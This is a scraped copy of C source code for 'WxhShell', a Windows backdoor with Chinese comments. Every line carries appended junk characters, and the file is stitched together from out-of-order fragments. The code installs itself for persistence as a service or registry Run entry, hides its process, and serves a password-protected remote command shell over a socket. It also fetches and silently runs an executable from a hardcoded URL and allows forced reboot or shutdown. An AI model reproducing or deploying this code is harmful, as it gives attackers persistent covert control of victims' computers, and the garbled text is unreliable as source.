    break; d ,98W=7  
    } ',0:/jSz  
  // 关机 m.Zy$SDj(  
  case 'd': { y2#>a8SRS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aX;>XL4  
    if(Boot(SHUTDOWN)) N knS:r&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B=a+cT  
    else { ) bI.K[0^  
    closesocket(wsh); O?Bf (y  
    ExitThread(0); v7 *L3Ol  
    } nXLz<wE  
    break; j}ob7O&U'w  
    } 0@-4.IHl  
  // 获取shell FDLo|aP/v  
  case 's': { Intuda7e1  
    CmdShell(wsh); b},2A'X  
    closesocket(wsh); G^k'sgy.  
    ExitThread(0); 5+M,X kg  
    break; `5?0yXK  
  } `z(o01y  
  // 退出 CsA(oX  
  case 'x': { vu*e*b$}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2lpPN[~d  
    CloseIt(wsh); ))|d~m  
    break; T:@6(_Z  
    } xX%ppD7  
  // 离开 vF$( Y/  
  case 'q': { N<:c*X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]|CcQ1#|H  
    closesocket(wsh); Yvo*^jv  
    WSACleanup(); @Z ==B%`  
    exit(1); 1Q(KZI  
    break; l2St)`K8  
        } Z&Ob,Ru  
  } @^UgdD,BS,  
  } mcd{:/^?  
wG[n wt0L  
  // 提示信息 f%o[eW#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HRyFjAR\?  
} &Uam4'B6-  
  } bQautRW  
#kM|!U=  
  return; MRt"#CO  
} metn&  
mxgT}L0i  
// shell模块句柄 t8-Nli*O  
int CmdShell(SOCKET sock) )hrsA&1w  
{ $WIVCp  
STARTUPINFO si;  \nEMj,)  
ZeroMemory(&si,sizeof(si)); /=p[k^A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] H !ru  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Gs\x  
PROCESS_INFORMATION ProcessInfo; F}u'A,Hc  
char cmdline[]="cmd"; >SDQ@63E?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Ut8pa+yX  
  return 0; p*Q-o  
} (a_bU5)  
(&SU)Uvu  
// 自身启动模式 ~6t!)QATnp  
int StartFromService(void) $vu*# .w  
{ -n9&W  
typedef struct ^\ x'4!W  
{ fY&TI}Y  
  DWORD ExitStatus; #!F>cez  
  DWORD PebBaseAddress; <(jk}wa<  
  DWORD AffinityMask; ~x,_A>a  
  DWORD BasePriority; 6AJk6 W^Z  
  ULONG UniqueProcessId; dBd7#V:}yV  
  ULONG InheritedFromUniqueProcessId; )ovAGO  
}   PROCESS_BASIC_INFORMATION; Pjs=n7  
(SRY(q  
PROCNTQSIP NtQueryInformationProcess; ~6i'V?>  
g9" wX?*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F9o7=5WAb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^_ch%3}Im  
GFdbwn5B  
  HANDLE             hProcess; -fPiHKJ  
  PROCESS_BASIC_INFORMATION pbi; 3UUdJh<~  
\:J=tAC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M)oKtiav*  
  if(NULL == hInst ) return 0; 'd$RNqe  
ts,r,{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); */M`KPW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B%6cgm,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kz42AC  
z='%NZY  
  if (!NtQueryInformationProcess) return 0; Np+PUu>  
5bt>MoKxv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i6KfH\{N  
  if(!hProcess) return 0; > mO*.'Gm  
pRun5 )7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qa_V  
g:fvg!_v  
  CloseHandle(hProcess); R#hy2kA  
PN93.G(W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :*KTpTa  
if(hProcess==NULL) return 0; )K{s^]Jp  
)9`HO?   
HMODULE hMod; Hnt*,C.0  
char procName[255]; jXeE]A"  
unsigned long cbNeeded; T>asH  
cRf F!EV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X~jdOaq{F:  
 c`xNTr01  
  CloseHandle(hProcess); G"?7 Z&+  
*eoH"UFYQ#  
if(strstr(procName,"services")) return 1; // 以服务启动 d/9YtG%q  
m&gd<rt/  
  return 0; // 注册表启动 1+Gq<]@G  
} T]wI)  
1M&Lb. J6  
// 主模块 >Y08/OAI.2  
int StartWxhshell(LPSTR lpCmdLine) YAc:QVT87  
{ <ZSXOh,'  
  SOCKET wsl; _+B y=B.'  
BOOL val=TRUE; P#hRqETw  
  int port=0; id:,\iJ  
  struct sockaddr_in door; yo#r^iAr  
] x)>q  
  if(wscfg.ws_autoins) Install(); lV^#[%  
ndLEIqOY  
port=atoi(lpCmdLine);  ,RR{Y-  
A6=Z2i0w>X  
if(port<=0) port=wscfg.ws_port; |,,#DSe  
gttsxOgktH  
  WSADATA data; h,Hr0^?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :o!Kz`J  
iKaX8c,zI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8s6[-F5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "?zWCH  
  door.sin_family = AF_INET; zj r($?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eV*QUjS~  
  door.sin_port = htons(port); rtS cQ  
67rY+u%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &b#d4p6&l  
closesocket(wsl); U6/7EOW,  
return 1; Jt5V{9:('  
} <=n;5hv:  
bpBn3f`?*  
  if(listen(wsl,2) == INVALID_SOCKET) { Z(6.e8fK  
closesocket(wsl); tAN!LI+w  
return 1; x4v:67_^  
} twr{jdY9  
  Wxhshell(wsl); n0l|7:Mk  
  WSACleanup(); *Vl#]81~  
hn2:@^=f  
return 0; g*b`o87PI  
# QwX|x{  
} 1!^BcrG.  
ywp_,j9F  
// 以NT服务方式启动 aaU4Jl?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2B$dT=G  
{ : 2%eh  
DWORD   status = 0; (5jKUQ8Q>  
  DWORD   specificError = 0xfffffff; Nmx\qJUR(  
MPUyu(-%{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bji#ID2]%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qe&|6M!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fh`Y2s|:7R  
  serviceStatus.dwWin32ExitCode     = 0; &qWg$_Yh  
  serviceStatus.dwServiceSpecificExitCode = 0; E?+~S M1~  
  serviceStatus.dwCheckPoint       = 0; P\Qvj7_  
  serviceStatus.dwWaitHint       = 0; 3Y#  
|5(un#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OulRqbL2  
  if (hServiceStatusHandle==0) return; RTVU3fw  
** m8 HD  
status = GetLastError(); &PPnI(s^K  
  if (status!=NO_ERROR) m)6 6g]F+  
{ ?H8w;Csq-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4e>f}u 5  
    serviceStatus.dwCheckPoint       = 0; ?&0CEfa?  
    serviceStatus.dwWaitHint       = 0; FMCA~N  
    serviceStatus.dwWin32ExitCode     = status; o% +w:u.  
    serviceStatus.dwServiceSpecificExitCode = specificError; gtH^'vFZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U $#^ e  
    return; 2#$7!`6 K  
  } *1v3x:pQ'  
s@~3L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `Zuo`GP*1  
  serviceStatus.dwCheckPoint       = 0; Bs0~P 4^  
  serviceStatus.dwWaitHint       = 0; i +@avoW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4}D&=0IZ  
} w;@v#<q6  
HAE$Np|>a  
// 处理NT服务事件,比如:启动、停止 0(c,J$I]Z!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C4E}.``Hm  
{ aT2%Az@j  
switch(fdwControl) xb[yy}>"L  
{ ?W ^`Fa)]o  
case SERVICE_CONTROL_STOP: M#2<|VUW,  
  serviceStatus.dwWin32ExitCode = 0; 'exR;q\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; < k(n%  
  serviceStatus.dwCheckPoint   = 0; 8ZV!ld  
  serviceStatus.dwWaitHint     = 0; K @&c  
  { VB/75xK_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =UO7!vr;[  
  } I[Bp}6G  
  return; &O+S [~  
case SERVICE_CONTROL_PAUSE: |b@`ykD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tPiC?=4R  
  break; v89tV9O)  
case SERVICE_CONTROL_CONTINUE: " xC$Ko _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w\ '5l k,"  
  break; M GC=L .  
case SERVICE_CONTROL_INTERROGATE: 9Q(Lnu  
  break; zz3{+1w]  
}; x s6!NY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -d!84_d9  
} 6@0? ~  
IH*G7;  
// 标准应用程序主函数 te;bn4~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) clqFV   
{ q) 5s'(  
S8;c0}-  
// 获取操作系统版本 ax _v+v %  
OsIsNt=GetOsVer(); a)Ht(*/B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Hq)@A I   
M| }?5NS  
  // 从命令行安装 ( q*/=u  
  if(strpbrk(lpCmdLine,"iI")) Install(); .gNJY7`b  
H RahBTd(z  
  // 下载执行文件 BpFX e7  
if(wscfg.ws_downexe) { ^,'KmZm=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s#8}&2#l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ve/.q^JeJ  
} 2bXCFv7}  
3NwdE/x\  
if(!OsIsNt) { q=cnY+p>  
// 如果时win9x,隐藏进程并且设置为注册表启动 toG- Dz&  
HideProc(); j5hQ;~Fa|  
StartWxhshell(lpCmdLine); IwXQbJ3v_  
} aAu%QRq  
else (8S+-k?  
  if(StartFromService()) 4nd)*0{ f  
  // 以服务方式启动 )MN6\v  
  StartServiceCtrlDispatcher(DispatchTable); qoQ,3&<  
else 5#_GuL%  
  // 普通方式启动 FzsW^u+  
  StartWxhshell(lpCmdLine); _B 4 N2t$  
2sBYy 8.r  
return 0; 0 n{+_   
} vO zUAi  
g$=']A?W_  
jxw8jo06:  
*W}nw$tnBX  
=========================================== JDpW7OrDc  
F%ukT6xp  
slA~k;K:_  
!9zs>T&9a\  
'Um\m  
<ihJp^kgQ  
" BW`Tw^j  
p)7U%NMc(*  
#include <stdio.h> Fvv/#V^R  
#include <string.h> I*+*Wf  
#include <windows.h> oXwcil  
#include <winsock2.h> jfR!M07|  
#include <winsvc.h> (=53WbOh/t  
#include <urlmon.h> cpq0' x\  
]x_14$rk  
#pragma comment (lib, "Ws2_32.lib") L@ N\8mf  
#pragma comment (lib, "urlmon.lib") Qmv8T ^+  
:$^sI"hO  
#define MAX_USER   100 // 最大客户端连接数 >va9*pdJ  
#define BUF_SOCK   200 // sock buffer OYfP!,+bn  
#define KEY_BUFF   255 // 输入 buffer ui*CA^ Y  
Ag]Hk %  
#define REBOOT     0   // 重启 q>a/',m  
#define SHUTDOWN   1   // 关机 hG/Z65`&  
|msQ  
#define DEF_PORT   5000 // 监听端口 dBL{Mbh2Z  
`Z#]lS?  
#define REG_LEN     16   // 注册表键长度 ~:4Mf/Ca  
#define SVC_LEN     80   // NT服务名长度 ]\=M$:,RZ  
8{.:$T  
// 从dll定义API lgCOp%>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OB+I.qlHP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sgeME^v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ao Hz8K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q0_|?]v  
;cZ]^kof  
// wxhshell配置信息 bJ.68643  
struct WSCFG { ps]s Tw  
  int ws_port;         // 监听端口 J}&xS<  
  char ws_passstr[REG_LEN]; // 口令 8+~|!)a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZnB|vfL?  
  char ws_regname[REG_LEN]; // 注册表键名 /I#SP/M&l  
  char ws_svcname[REG_LEN]; // 服务名 %$(*.o!+8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }15ooe%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0'y3iar  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c:`&QDF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9y"\]G77E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,OO0*%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \tg}K0E?R5  
^p7Er!  
}; e,0Gc-X[B  
dzc.s8T(0  
// default Wxhshell configuration ^sVB:?  
struct WSCFG wscfg={DEF_PORT, b"#|0d0  
    "xuhuanlingzhe", L}U fd >*  
    1, D\G P+Ota  
    "Wxhshell", 0 Pa\:^/6  
    "Wxhshell", RiAY>:  
            "WxhShell Service", uJHf6Ye  
    "Wrsky Windows CmdShell Service", >RT02Ey>  
    "Please Input Your Password: ", R<-(  
  1, K5q9u-7  
  "http://www.wrsky.com/wxhshell.exe", k*xgF[T 8  
  "Wxhshell.exe" ?IV3"\5  
    }; bQ2 '*T  
uYwJ[1 C  
// 消息定义模块 A&QO]8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H`ZUI8-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fNaS?tV)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,a,coeL  
char *msg_ws_ext="\n\rExit."; f qU*y 6]  
char *msg_ws_end="\n\rQuit."; x k5Z&z  
char *msg_ws_boot="\n\rReboot..."; /7<l`RSr  
char *msg_ws_poff="\n\rShutdown..."; KrT+Svm  
char *msg_ws_down="\n\rSave to "; H@,(  
U.QjB0;  
char *msg_ws_err="\n\rErr!"; KC{ HX?  
char *msg_ws_ok="\n\rOK!"; }<kpvd+ps=  
m-No 8)2yA  
char ExeFile[MAX_PATH]; 7[W! Nx  
int nUser = 0; Rm!Iv&{  
HANDLE handles[MAX_USER]; @RF !p  
int OsIsNt; x+7jJ=F  
g"sW_y_O  
SERVICE_STATUS       serviceStatus; 6muZE1sn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,.<l^sj5  
;M"JN:J8  
// 函数声明 J Covk1  
int Install(void); 5rpTR  
int Uninstall(void);  cUz7F  
int DownloadFile(char *sURL, SOCKET wsh); MRdZ'  
int Boot(int flag); 'Nv*ePz  
void HideProc(void); J@c)SK%2h  
int GetOsVer(void); \a8<DR\@O  
int Wxhshell(SOCKET wsl); Yl#r9TM  
void TalkWithClient(void *cs); EBN'u&zX  
int CmdShell(SOCKET sock); @9^ozgg  
int StartFromService(void); ~vIQ-|8r:  
int StartWxhshell(LPSTR lpCmdLine); (1(dL_?  
a:tCdnK/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7a}vb@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lclSzC9  
/"$;3n~  
// 数据结构和表定义 r4h4A w{  
SERVICE_TABLE_ENTRY DispatchTable[] = _"B5S?  
{ U_HOfix  
{wscfg.ws_svcname, NTServiceMain}, .W<yiB}^  
{NULL, NULL} zviEk/:zm  
}; iIoeG_^*Y  
4c*?9r@  
// 自我安装 w QX,a;Br  
int Install(void) Rb~NX  
{ Vn-y<*np  
  char svExeFile[MAX_PATH]; ;V~[kF=t0  
  HKEY key; c _li.]P  
  strcpy(svExeFile,ExeFile); \ueo^p]_?  
pAo5c4y!4  
// 如果是win9x系统,修改注册表设为自启动 !giL~}j(R  
if(!OsIsNt) { y pv~F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OFTyN^([@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Zue?!KQ  
  RegCloseKey(key); I|*w?i*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { emo@&6*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }0Qex=vkO  
  RegCloseKey(key); Wi Mi0?$.  
  return 0; p#UrZKR  
    } _>8ZL)NQQ  
  } W4Ey]y"  
} wtCz%!OYB  
else { P"LbWZ6Nj  
6;g"`l51  
// 如果是NT以上系统,安装为系统服务 )V<ML7_?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |<l  sv  
if (schSCManager!=0) %o4ZD7@ '  
{ Pwn3/+"%K  
  SC_HANDLE schService = CreateService l.c*, 9  
  ( >weY_%a  
  schSCManager, |#);^z_  
  wscfg.ws_svcname, +pcpb)VL  
  wscfg.ws_svcdisp, =1noT)gC R  
  SERVICE_ALL_ACCESS, j>(O1z 7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F(J6 XnQ  
  SERVICE_AUTO_START, }]ak6'|[  
  SERVICE_ERROR_NORMAL, W *t+!cU/:  
  svExeFile, _s/ 5oRHA  
  NULL, 9gFema{U  
  NULL, B 3Y,|*  
  NULL, ?32gug\i'}  
  NULL, iX]Vkx  
  NULL A~_*vcz  
  ); "&s9;_9  
  if (schService!=0) nCZ&FNi{O~  
  { 5G"DgG*<  
  CloseServiceHandle(schService); u:Fa1 !4JR  
  CloseServiceHandle(schSCManager); E)l0`83~^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nr?Z[6O|  
  strcat(svExeFile,wscfg.ws_svcname); 0drt,k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AM4lAq_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 18ApHp  
  RegCloseKey(key); #"J8]3\F  
  return 0; >YwvM=b"V  
    } ztcV[{[g  
  } n.&z^&$w\)  
  CloseServiceHandle(schSCManager); K}e %E&|>  
} &eL02:[  
} $9!2c/  
+ML4.$lc^  
return 1; }w{ 6Ua  
} [&e|:1  
>?/Pl"{b  
// 自我卸载 cn62:p]5  
int Uninstall(void) m5c?A+@fZ  
{ % ~eIx=s  
  HKEY key; TUw+A6u:p  
{O ]^8#v^  
if(!OsIsNt) { WrB:)Q(8=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' U]\]Wp  
  RegDeleteValue(key,wscfg.ws_regname); x3j)'`=15  
  RegCloseKey(key); J:<mq5[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .E H&GX  
  RegDeleteValue(key,wscfg.ws_regname); 3 q1LIM  
  RegCloseKey(key); 6'YT3=  
  return 0; cR'l\iv+  
  } e :(7$jo  
} ^U"$uJz!c  
} #NU@7Q[4  
else { P%VEJ5,]b  
6 V{Sf9V|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 77KB-l2  
if (schSCManager!=0) a8D7n Ea  
{ :w|ef;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [Dr'  
  if (schService!=0) BvQMq5&  
  { 1b^e4  
  if(DeleteService(schService)!=0) { rC`pTN  
  CloseServiceHandle(schService); CD}::7$  
  CloseServiceHandle(schSCManager); 6_Ps*Ed  
  return 0; GM_~2Er]  
  } +rAmy  
  CloseServiceHandle(schService); -;NGS )RM  
  } t6/w({}j  
  CloseServiceHandle(schSCManager); <v&L90+s\;  
} HQtR;[1  
} 52X[ {  
BK$cN>J  
return 1; &B1j,$NRc  
} b#~K>  
PHQ7  
// 从指定url下载文件  |2<y  
int DownloadFile(char *sURL, SOCKET wsh) 3jSt&+  
{ I+08tXO  
  HRESULT hr; pco:]3BF6  
char seps[]= "/"; 5;WESk  
char *token; s fD@lW3  
char *file; S vTd#>ke  
char myURL[MAX_PATH]; ~Up5+7k@  
char myFILE[MAX_PATH]; -!o*A>N  
N>pTl$\4  
strcpy(myURL,sURL); 2VpKG*!\  
  token=strtok(myURL,seps); W&g@o@wa  
  while(token!=NULL) bVLBqa=  
  { 5 [GdFd>{  
    file=token; n["G ry  
  token=strtok(NULL,seps); h^QLvOuR  
  } 6 zyxGJ(  
]A? (OA  
GetCurrentDirectory(MAX_PATH,myFILE); o,r72>|  
strcat(myFILE, "\\"); ?04jkq&  
strcat(myFILE, file); 5#275Hyv  
  send(wsh,myFILE,strlen(myFILE),0); W;Y"J_  
send(wsh,"...",3,0); ;$nCQ/ /  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a/wg%cWG_  
  if(hr==S_OK) .(J~:U  
return 0; NL^;C3u  
else D02'P{  
return 1; #%9t-  
9%#u,I  
} Rb/|ae  
^X]rFY1  
// 系统电源模块 B4 k5IS  
int Boot(int flag) *A&A V||q  
{ PF+F^;C  
  HANDLE hToken; wI5(`_l{G  
  TOKEN_PRIVILEGES tkp; ahh&h1q7|  
3<XP/c";  
  if(OsIsNt) { b6%[?k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vRhI:E)So#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XWq`MwC9  
    tkp.PrivilegeCount = 1; }H Ct=W`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EpW89X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5'<J@3B  
if(flag==REBOOT) { I]@QhCm0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p=XEMVqm  
  return 0; (X?HuWTm  
} !We9T)e  
else { *w#^`yeo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t f3R  
  return 0; /KTWBcs 7  
} d[F3"b%  
  } c)j60y   
  else { 1b=,lm  
if(flag==REBOOT) { 49o/S2b4z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +B '<0  
  return 0; X :#}E7]j  
} {^@vCBE+  
else { (.J6>"K<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M!`&Z9N  
  return 0; 7VIfRN{5n  
} &q7}HO/ @  
} Mdw"^x$7  
]."t  
return 1; x'v-]C(@  
} r9Vt}]$aG  
[-0=ZKH?  
// win9x进程隐藏模块 RRb>]oD  
void HideProc(void) H73 r3BH  
{ Pk3b#$+E  
swz)gh-*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5E#8F  
  if ( hKernel != NULL ) fKbg?  
  { j6d{r\!$4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *snY|hF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %$<v:eMAs  
    FreeLibrary(hKernel); r0Zj'F_e  
  } C14"lB.  
3o2x&v  
return; kmg/hNtN  
} \IhHbcF`d  
;uho.)%N`F  
// 获取操作系统版本 wii.0~p  
int GetOsVer(void) YJ !jdE}  
{ Yc:>Yzj(z  
  OSVERSIONINFO winfo; Z5V_?bm$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a"{b}UP  
  GetVersionEx(&winfo); OI,F,4e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j;<s!A#  
  return 1; ]pWn%aGv*Y  
  else yR% l[/ X  
  return 0; 6T5\zInd  
} #z61 I"kU  
2U`!0~pod  
// 客户端句柄模块 ^v&"{2  
int Wxhshell(SOCKET wsl) F]L96&  
{ ?BX}0RWMh7  
  SOCKET wsh; m f\tMik<  
  struct sockaddr_in client; nKmf#  
  DWORD myID; L=@8Z i!2<  
)+Yu7=S  
  while(nUser<MAX_USER) |&MO us#v  
{ BZa`:ah~x  
  int nSize=sizeof(client); pwv mb\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,z01 *Yx  
  if(wsh==INVALID_SOCKET) return 1; x21XzGLY|}  
GM Y[Gd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <Zo{D |hW  
if(handles[nUser]==0) n0FzDQt26  
  closesocket(wsh); ><C9PS@  
else ;> %wf3e  
  nUser++; gSHN,8. `  
  } ,:{+-v(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mLV0J '  
(~NR."s;  
  return 0; OD~yIV  
} ` Nv1sA#C  
5 0dx[v8  
// 关闭 socket pQ xv_4  
void CloseIt(SOCKET wsh) Ml,in49  
{ iX6*OEl/Q  
closesocket(wsh); @,{Qa!A>l  
nUser--; O<J<)_W)  
ExitThread(0); l\TL=8u2c  
} ~uG/F?= Q:  
q#F+^)DD [  
// 客户端请求句柄 hT% >)71  
void TalkWithClient(void *cs) ~wu\j][2  
{ QJ%N80  
 O[$XgPM  
  SOCKET wsh=(SOCKET)cs; w ^ X@PpP  
  char pwd[SVC_LEN]; /vPr^Wv  
  char cmd[KEY_BUFF]; ^SbxClUfw!  
char chr[1]; s)+] pxV0-  
int i,j; e35")z~  
%NcBq3  
  while (nUser < MAX_USER) { braI MIQ`  
FzF#V=9lP  
if(wscfg.ws_passstr) { %v0;1m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L=5Y^f'aU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a{Y8 hR  
  //ZeroMemory(pwd,KEY_BUFF); Rl (+TE  
      i=0; /2cn`dR,  
  while(i<SVC_LEN) { wauM|/KG  
<.{OIIuk  
  // 设置超时 T[-Tqi NT  
  fd_set FdRead; $,o@&QT?AT  
  struct timeval TimeOut; v <m=g!  
  FD_ZERO(&FdRead); sRQ4pnnrn  
  FD_SET(wsh,&FdRead); +.v+Opp,  
  TimeOut.tv_sec=8; Pk6_1LV  
  TimeOut.tv_usec=0; paUJq?Af  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zhh6;>P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z`YAOhD*h4  
?z3|^oU~d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U^Iq]L  
  pwd=chr[0]; aqgm  
  if(chr[0]==0xd || chr[0]==0xa) { 2gW+&5; 4  
  pwd=0; \Hu?K\SWs  
  break; bV:MOj^  
  } (e32oP"  
  i++; ^[EXTBk@:  
    } u}7r\MnwK,  
.PCbGPbk  
  // 如果是非法用户,关闭 socket miV8jaV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! QKec  
} @2eH;?uO  
/S9n!H:MT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &-KQ m20n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {~V_6wY g  
X=VaBy4#  
while(1) { 4rypT-%^;  
GXR7Ug}k  
  ZeroMemory(cmd,KEY_BUFF); \,G19o}`Es  
'<h@h*R  
      // 自动支持客户端 telnet标准   -AXMT3p=1  
  j=0; ~g *`E!2  
  while(j<KEY_BUFF) { /+m7J"Km  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @9g!5dcT  
  cmd[j]=chr[0]; R+Rb[,m  
  if(chr[0]==0xa || chr[0]==0xd) { MNX-D0`g  
  cmd[j]=0; ze`qf%  
  break; scZ'/(b-E  
  } $oIGlKc:L  
  j++; iJk/fvi  
    } ! 6_tdZ  
*jl_,0g]  
  // 下载文件 !^3j9<|@'  
  if(strstr(cmd,"http://")) { Y|<1|wGG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V6b)  
  if(DownloadFile(cmd,wsh)) Yt;@ @xe&  
